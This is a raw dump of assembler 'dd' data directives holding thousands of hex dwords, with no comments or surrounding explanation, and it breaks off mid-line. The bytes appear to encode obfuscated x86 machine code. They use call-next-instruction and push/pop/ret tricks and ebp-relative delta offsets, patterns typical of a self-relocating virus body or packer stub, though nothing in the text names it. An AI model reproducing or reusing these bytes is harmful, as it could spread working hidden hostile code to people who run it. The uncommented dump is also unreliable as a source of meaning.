4C3F6F3h, 39840Fh, 8C0F0000h dd 5, 4DC68166h, 0ED95FFECh, 50060B18h, 5C0F2FBFh, 24048950h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 58C35747h dd 0E9CD013Dh, 401h, 1398D89h, 0CF81060Bh, 20E60DC0h, 6A00B0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 66C516C3h, 0E64E44BFh, 52006A70h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0DEE47CCAh dd 0A395E868h, 0D59589E8h, 0E4060B12h, 0FF28B71h, 0ABBED8B6h dd 0BA0D7324h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 8EC35141h, 8B2D3394h, 0B0415B5h, 0C1C38B06h, 6A04E8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0F7D04BC3h, 54C0A895h, 0F766F9FAh, 0FA8BF9E2h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8D2951C3h, 60B0841h, 241C8950h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 5DC35646h, 4C35F612h, 3385B5FFh dd 0BD89060Bh, 60B24B5h, 32DD95FFh, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4D77EFC3h dd 0ADE6A43Dh, 419589DBh, 0B0060B13h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 32128186h, 15E98529h, 9529060Bh, 60B103Dh, 6A70E6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 2FCFF3C3h, 3008C349h, 81B654ACh, 933100CFh, 8DB58915h dd 0E4060B03h, 0DD853171h, 3C060B02h, 4E830F61h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 89EBC351h, 0B00D5B5h, 0D8B60F06h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0DFC35141h, 85295702h dd 60B063Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0B6E6AFAFh, 8BCC923Ah dd 4DB58BC3h, 89060B0Ch, 0B1595B5h, 4E8C106h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B6C35545h, 0BE66938Ah dd 0F7666556h, 55006AE2h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 2B933F8Fh, 7D9D89D8h dd 58060B17h, 880FD82Bh, 179h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 29C35242h, 811DEE89h, 930F52E7h dd 1D958938h, 0B9060B33h, 7, 0FE9h, 279CA700h, 48CE9F91h dd 7AD3F14Ch, 421FCCE4h, 0BE00C183h, 4A45218Ch, 860FD93Bh dd 125h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0E7C35040h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 274DC351h, 0EBD57178h dd 8A0FF084h, 0Ch, 68D0Fh, 880F0000h, 0 dd 0F04C1F6h, 0BA84h, 81BD2300h, 0FF060B28h, 0B18ED95h dd 199D8906h, 5B060B0Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0FEC35545h, 0F847F917h, 0C174B843h, 56B7BE98h dd 0C32B4DAFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0A6C35040h, 6641C449h, 0B589F98Bh, 60B17D9h, 8343Dh dd 48860F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0B9A1C356h, 0DD78BE66h dd 30E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 89993459h, 8B7867FEh, 6830FC0h, 8B000000h dd 0B2E61B5h, 8BC38B06h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 85C7F909h, 60B00A1h, 3F5E9953h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E9C35343h dd 8589EA12h, 60B0571h, 9589C08Bh, 60B0D51h, 3385BD81h dd 7D0060Bh, 850F0000h, 13h, 212DBD8Bh, 0D3BE060Bh, 0FF56E1FCh dd 0B338585h, 0FFF5FC06h, 0B3385B5h, 0CE95606h, 22000000h dd 54680A82h, 5E153C82h, 5E6B64D9h, 8AD9D09h, 95FF060Bh dd 60B32DDh, 0F9BF0F60h, 0AD19531h, 9061060Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5EC35545h, 8D89BB2Ch dd 60B0425h, 152DB589h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 799EDCC3h, 0ED7AF27Fh dd 6A1197FFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 1424C355h, 7D8D01B7h, 89060B07h dd 0B31B5BDh, 0F6BF0F06h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0D7C35141h, 7A51BE60h, 858B5BAFh, 60B2349h dd 12958D89h, 0F561060Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0CC35545h, 598D89ABh, 29060B2Eh, 0B2A75B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0DA8BED8Eh, 0B1BD8BD7h, 51060B08h, 2AB5B58Bh dd 0FE9060Bh, 93000000h, 0EB04BEEDh, 6A1759F5h, 0E2B756B6h dd 0E95ED7A8h, 0FFFFF864h, 2414EF81h, 0C18B2C6Fh, 0F3DB589h dd 4EB060Bh, 0 dd 6AFA8Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 4BB565C3h, 0EBFBF09Ah, 8E91F72h, 0DB000000h dd 7F642D43h, 8D0EAAF7h, 0B28A985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 5AEC6B8h, 2EFDBD31h dd 0E950060Bh, 12h, 118D7B58h, 0F3511AFBh, 0C48EEB87h dd 4D6548Ch, 48995C3h, 1D958924h, 8B060B18h, 6A006AF8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0B1BC356h, 0EE8h, 0AA698800h, 9F508C00h dd 0CCE34AF7h, 5E97554Ch, 0B9F3D9BFh, 8D006A15h, 0F00D685h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0B5E88862h, 2BD531D0h, 1CBF6649h, 5C0832Eh dd 85F3BF66h, 24048950h, 0B870Fh, 0BE600000h, 613EA69Bh dd 0D0DABA66h, 0F006A61h, 688h, 71F78100h, 6A464DCAh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 8BD7BA37h, 8B60FFE4h, 0B01959Dh, 5D952B06h, 61060B27h dd 2F2195FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0EF2E51C3h, 8180CA04h, 0C56CCBC7h dd 0D5BD8B44h, 8D060B0Bh, 0EA7B09Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B52B1AAEh dd 60B0B25h, 0D3FFFA8Bh, 8FC0BE66h, 0DE9h, 86951D00h, 5E3B1B99h dd 0D10B49E7h, 85FF865Ch, 60B066Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0A2C35141h, 0A9F9D11Eh, 0F3A3E6C2h dd 20B9BD8Bh, 0E6E9060Bh, 0E8000008h, 0 aBar db ']íŕ',0 db 0Fh, 6, 6Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 524BC350h, 13A7176Ch, 293DB58Bh, 0BD81060Bh dd 60B3385h, 7D0h, 185860Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8B104BC3h dd 0B0719B5h, 6D9D8B06h, 6A060B2Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 41B8C355h dd 80E852Bh, 0F874395h, 8Eh, 37D4BE00h, 0E3815316h, 100h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 1CC35040h dd 850FDB0Bh, 94h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 67C35747h, 7FF68145h, 0BE4BC1EAh, 4E0B731Ah dd 0FEE8BD83h, 0F00060Eh, 2A84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 3AF8680Eh dd 830Fh, 67E90000h, 0C7000000h, 0EFEE885h, 106h, 0EE800h dd 0EC7B0000h, 375C3058h, 0A186EDCBh, 13ED4646h, 68E0Fh dd 0B5890000h, 60B08C9h, 38E95Fh, 0BD0B0000h, 60B0DC9h dd 0FEE885C7h, 60Eh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 1B3EDBC3h, 0F78BA846h dd 645B50Bh, 9D8D060Bh, 60B2A6Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0EBC35242h, 0E4A752DCh, 0BB256D5Bh dd 55B589A1h, 81060B03h, 0FFFEFF23h, 61BD89FFh, 66060B16h dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 14E981C3h, 96000000h, 59865575h, 0C3E4CF82h dd 7D7CB9B5h, 46B5AEF6h, 8BE73112h, 0B069DB5h, 4C3F606h dd 37840Fh, 85010000h, 60B0051h, 18ED95FFh, 8166060Bh dd 0BFF022DFh, 5C0F2AD0h, 9474BF50h, 48940D7h, 81B58B24h dd 0E9060B2Eh, 0Dh, 6B2246C5h, 0DFD34495h, 4DA9BA09h, 4B4E9AFh dd 8B0F0000h, 1Ch, 11E8h, 816B1E00h, 0C1D2703Dh, 0A7A7EB4Eh dd 6BC24C23h, 8166D9F5h, 5EF9D5EEh, 953100B0h, 60B080Dh dd 71E470E6h, 7E9h, 1E42FF00h, 0A3DB8371h, 89D8B60Fh, 0B087D9Dh dd 6BA06h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 66D143C3h, 351CDF81h, 870FC38Bh dd 6, 12CD8D89h, 0E8C1060Bh, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0CC391406h dd 0D485A922h, 7DBD333Bh, 60060B28h, 12E9h, 2299CF00h dd 0FF3692F4h, 0EE603FA6h, 61BD4696h, 0FAD506Ah, 68Bh dd 699D8900h, 61060B10h, 6AE2F766h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9D38C352h dd 0F8B70FC6h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 6554B1C3h, 32A19D89h, 5093060Bh dd 0BACE8B60h, 34EA81EFh, 6A9361h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BD8B5FC3h, 60B1161h dd 0DE99D29h, 0B5FF060Bh, 60B3385h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 95C35141h, 0EA052693h, 32DD95FFh dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0EDA838C3h, 0E8687135h, 0Dh, 0D2619536h dd 0D1A3CC68h, 7D604404h, 0F6D681F2h, 5E321C75h, 11E8h dd 0CCD29D00h, 0E70619ADh, 7B690B21h, 0EDE2DA4Ch, 0ACBF5237h dd 5E059B3Ch, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0DE17EDC3h, 6CDD3F79h, 95EF8166h dd 0FC70E66Fh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0EEF49EC3h, 99239E2h, 0F613C97h dd 29183h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0DDBD33C3h, 29060B06h, 0B0FFD9Dh dd 0D8B60F06h, 0B19D8960h, 0B8060B28h, 0DDEDDFAh, 0BF0F5661h dd 6BA5EF2h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 70AEC352h, 86F894FDh dd 63FDCC6h, 0CE8h, 0A4605500h, 0E8C68A9Bh, 411F2133h dd 0BD895F40h, 60B1FC9h, 9589C38Bh, 60B0699h, 6604E8C1h dd 0A650F781h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 41C6C357h, 0D82BE929h dd 311DB58Bh, 6A58060Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 58F4C357h, 67DABB28h dd 95B52354h, 2B060B02h, 0A7880FD8h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0DF43C356h, 0EE8E7539h, 0A6460114h, 21BD8960h, 61060B10h dd 7B9F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 663FC6C3h, 662579BFh, 0C183FA8Bh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 6B2DA878h, 0FEFAFEEh, 380h, 0F3BF0F00h dd 860FD93Bh, 11Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0BAC35343h, 295E258Eh, 8C665F57h, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 983655A5h, 0C1F68165h, 0C9840F04h, 0E8000000h, 8, 24BE0DC1h dd 0F2C2FDBEh, 1785B529h, 0FF5F060Bh, 0B18ED95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 998E266Ah, 5C92AA93h, 0F5BE199h, 488h, 0BBE6600h, 81C32B22h dd 91AF19DEh, 8343D67h, 860F0000h, 6Ch, 0EE9h, 0BE0C1800h dd 0C3958815h, 64D7BDF4h, 0E9C4F2D9h, 56h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CBC35343h, 12E8D1h dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh dd 11E860h, 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh dd 5AA6B6FAh, 0B58B5F61h, 60B2051h, 0C38BC08Bh, 5F51D88Bh dd 13E985C7h, 7799060Bh, 8BFC3BB8h, 85BD81C0h, 0D0060B33h dd 0F000007h, 8285h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 850FC79Dh, 4, 22C7BE66h dd 338585FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 4F1B4DC3h, 0D8D3F29h, 89821A32h dd 0B0211B5h, 0BE806h, 949D0000h, 22F9C858h, 0D5587794h dd 0DE83Ch, 36490000h, 0CA58B624h, 727EF89Ch, 89E38BB4h dd 0B29EDB5h, 0FF5E5F06h, 0B3385B5h, 0FFF88B06h, 0B32DD95h dd 24BE6606h, 8166907Dh, 6A0CEDC6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5D7CC353h dd 5720EFCAh, 816632A3h, 8BB3DDCFh, 49BD8BFBh, 66060B0Eh dd 5D27EE81h, 9176E681h, 6A240Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h dd 57470000h, 51C91AC3h, 0ED852940h, 0E9060B28h, 0Fh, 0F449F6DEh dd 59D238F3h, 6F2262F6h, 6A1D979Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0FECC351h dd 3A7ECD8h, 0B169DB5h, 0F7F68106h, 6A6359BCh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 516BC350h, 2D8D01F2h, 66060B21h, 0CB9F681h, 0E1DE8166h dd 7ECF8144h, 6A367CC5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0FF49C357h, 2EBD9D31h dd 8166060Bh, 0E92F6BC7h, 0FFFFF743h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 4BC35242h, 800F5Eh, 31000000h dd 0B027595h, 81C18B06h, 139CE9CEh, 4EB78h, 89000000h dd 0B333D8Dh, 1600BF06h, 6A5744h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0F7E443C3h, 28A9858Dh dd 0B58B060Bh, 60B13BDh, 8D0F5350h, 5, 0E544F8BFh, 4895F45h dd 68D0F24h, 89000000h, 0B318595h, 56006A06h, 6A006A5Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 2E1EC352h, 0DF81451Eh, 504B4CFEh, 0B10858Dh dd 8D01060Fh, 60B2101h, 6A05C083h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 75C0C350h dd 60907BDFh, 9E952h, 5E400000h, 0F1E4351Eh, 59EA385Bh dd 9F9AB952h, 61596B56h, 60525050h, 6160F38Bh, 0E9310F61h dd 0Fh, 323F68DBh, 55524A64h, 0ADF0FC3Dh, 5A8E03B5h, 6A9058h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 6B2F41C3h, 0F78B006Ah, 0B589006Ah, 60B17F5h, 6B5BD8Bh dd 95FF060Bh, 60B2F21h, 9D8DF28Bh, 60EA7B0h, 58B0Fh, 81660000h dd 0FFCEF1D7h, 0DD9D89D3h, 0FF060B14h, 0B066D85h, 0F2BF0F06h dd 71FE9h, 0E800h, 815D0000h, 0F0B1AEDh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD8B0B15h, 60B0F41h, 3385BD81h, 7D0060Bh, 860F0000h dd 0FAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 6C35141h, 1806B040h, 0B5DB52Bh, 9D8B060Bh, 60B2A9Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F4C35646h dd 0E38143ECh, 100h, 0BF18B66h, 58850FDBh, 66000000h, 35B7D681h dd 9CBBD83h, 0F00060Fh, 784h, 4FE9F900h, 0F5000000h, 9CB85C7h dd 1060Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 80D3D7C3h, 8960DFAEh, 0B086D85h dd 8EBF6606h, 13E961E6h, 66000000h, 0C78257BEh, 0F09CB85h dd 6, 0EE816600h, 9D8D49F5h, 60B2A9Dh, 6800Fh, 0E7810000h dd 66169241h, 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0A418B1C3h, 8C66F113h dd 56006ADBh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0CDB509A8h, 0F6060B13h, 840F04C3h, 40h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CAC35141h dd 2A7F61D8h, 95FF9E77h, 60B18EDh, 1A85B58Bh, 0EABE060Bh dd 506AA55Fh, 89F18B66h, 0E6812404h, 2E02884Eh, 362E9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 87DD507Ah, 8F293FA5h, 77E68166h, 0BF00B055h dd 8E8C9FFh, 30E5B58Bh, 70E6060Bh, 0E4F6B70Fh, 7D9D3171h dd 0F060B00h, 870FD8B6h, 0 dd 6BAh, 0DDBD8B00h, 8B060B0Ch, 4E8C1C3h, 20F68166h, 0E2F76678h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4EC35747h dd 5ABF0FAAh, 2B19270Eh, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8B662238h, 525050FAh dd 312F52BEh, 60310F02h, 6160DF8Bh, 89585A61h, 0BD89241Ch dd 60B1141h, 3385B5FFh, 8C0F060Bh, 6, 58D8589h, 95FF060Bh dd 60B32DDh, 1EB9B529h, 0B0060Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 9DC35343h, 0E6266B25h, 0E4F08B70h dd 52006A71h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0F613CABh, 23683h, 0F5F5300h, 8166D8B6h dd 0BA48F8F6h, 6, 39F78166h, 6AC38BD2h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0E03FC353h dd 99BD8BB1h, 89060B00h, 0B3229BDh, 4E8C106h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0E2C35343h, 0F9E2F766h dd 0B70FD82Bh, 6A58FEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0B67220C3h, 0C95D75AEh, 0D82B54F2h dd 1A1880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 840F40C3h, 5, 0E52A33BEh, 7B93Ah dd 0BD290000h, 60B1A4Dh, 0F00C183h, 0C83h, 68A0F00h, 1000000h dd 0B23418Dh, 0FD93B06h, 15286h, 0D98C6600h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0AEC35545h, 0A1BD0930h dd 0F6060B1Ah, 840F04C1h, 0F4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 7CC35040h, 78B92931h, 0ED95FF03h dd 6A060B18h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0E034C353h, 0F70CFF1Ch, 0F1B70FB1h dd 0B9BD895Bh, 2B060B05h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 40094577h dd 7E9h, 60199F00h, 621142F8h, 5D8D0957h, 5F060B18h, 8343DFCh dd 860F0000h, 60h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0DDC35040h, 0E6E444C8h, 9C02C26Dh, 9E9B0h dd 64070000h, 8B3E4BC9h, 8BE5161Dh, 0B1325B5h, 51E906h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 953111C3h, 60B0C71h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 973563C3h dd 8BFF9107h, 0B244DBDh, 0ADB50906h, 8B060B2Ah, 8BD88BC3h dd 0B0E59BDh, 6D85C706h, 0DF060B2Ah, 0BF5FCEABh, 1D3BC0B2h dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 8E86F0C3h, 3880F39h, 66000000h, 0BD81F28Bh dd 60B3385h, 7D0h, 44850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 85FF0BC3h dd 60B3385h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 7EC35343h, 6939EB18h, 0B5FFB969h, 60B3385h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 7EC35040h, 830F4434h dd 6, 0C91BD8Bh, 95FF060Bh, 60B32DDh, 60F3B70Fh, 0F49EC381h dd 5E96271h, 0A6000000h, 5BC517AAh, 0BE669061h, 0B5896906h dd 60B1315h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 6FC35141h, 15EBE437h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 6AC35646h, 3E455A96h, 0AFDE55DDh dd 56006A9Fh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0B58BCF7Dh, 60B1131h, 14E9h, 82511B00h dd 5696D17h, 4F0898A3h, 196F503Ch, 52B355D0h, 0E880F44h dd 51000000h, 20F1BD8Bh, 8A0F060Bh, 0 dd 0F28B665Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 60C35343h, 50006A96h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0AE84C75h, 4000000h, 57AC8118h dd 6A39CA8Fh, 0D58D0958h, 0F060B17h, 6A5FFEB7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0C548C351h, 44331D16h, 645BFDE1h, 0E9F8BF0Fh, 0FFFFF8EDh dd 1935BD8Bh, 8D89060Bh, 60B2DFDh, 52006A60h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 37595516h dd 0E63A629Eh, 0FFFFFEB9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0B031C5B5h dd 24218D21h, 0E960060Bh, 0Dh, 4D1A3CCh, 0F27D6044h, 48722AE0h dd 0D7E980E0h, 9D8D2161h, 6A060B1Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3612C356h dd 8166E97Fh, 8B6077DEh, 0B24218Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 1F510EECh dd 0E1833BB1h, 22850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 892EC355h dd 0B1B3D9Dh, 9D8D8B06h, 6A060B1Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0C072C350h dd 8D89603Eh, 60B07FDh, 1F899589h, 6061060Bh, 68E0Fh, 8F0F0000h dd 0 dd 1E18361h, 12850Fh, 66600000h, 32457B9h, 0B1AB1B5h, 9D896106h dd 60B2235h, 0BF0F6061h, 0FFFEB9C1h, 0B58BFFFFh, 60B07A9h dd 29858D21h, 830F060Bh, 0Eh, 0A18D8960h, 81060B18h, 9DDFC3DBh dd 8D216129h, 60B00A1h, 18FD9D29h, 8D8B060Bh, 60B2985h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6FC35646h dd 14E9FE79h, 0F000000h, 8B2BDFE5h, 2244DEE8h, 4FBA7F71h dd 0F388535Eh, 8398D58Ch, 850F01E1h, 6, 2B9858Bh, 8D8B060Bh dd 60B00A1h, 9760A9BEh, 1E18339h, 2B850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 1D6213C3h, 7E1EB9A7h, 8B4A0258h, 0B188985h, 6A606106h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 4E1AC350h, 224AD4EEh, 0FEB9F807h, 89FFFFFFh dd 0B24399Dh, 698D2106h, 6A060B08h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 8901C350h dd 13E98D21h, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0BFB08FC3h, 8B0B3CD8h, 0B08698Dh dd 0E183F806h, 25850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5D29C355h dd 22946FD5h, 40E66161h, 13E98D8Bh, 6A060Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1B090EC3h dd 3395788Bh, 8E8685Ch, 30000000h, 46D92011h, 8B5F51CEh dd 0B07899Dh, 12E95F06h, 1B000000h, 0E9B5F35Fh, 1959FF0Fh dd 67785D0Ah, 0F7D77642h, 0F0816692h, 0E183B1E8h, 2A850F01h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 4DD2C357h, 512CE3EAh, 5AD3B70Fh dd 0F2C68166h, 8B6061A4h, 0B18B195h, 0FFFEB906h, 6AFFFFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8166D6C3h, 2192F6DAh, 0B2A9D8Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 8C7CB299h dd 0BF0FF20Ch, 6D8D21DAh, 6A060B2Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0E3DBC357h dd 70A39D2Fh, 0E79BD8Bh, 8D8B060Bh, 60B2A9Dh, 7199D8Bh dd 0E183060Bh, 24850F01h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0D455C356h dd 816628CBh, 8B0D85E0h, 0B2A6D8Dh, 0AD850906h, 83060B02h dd 850F01E1h, 22h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 4EC35343h, 0CC88268Ch, 60611DC3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0E1C35242h, 0C7DC3476h dd 0B338585h, 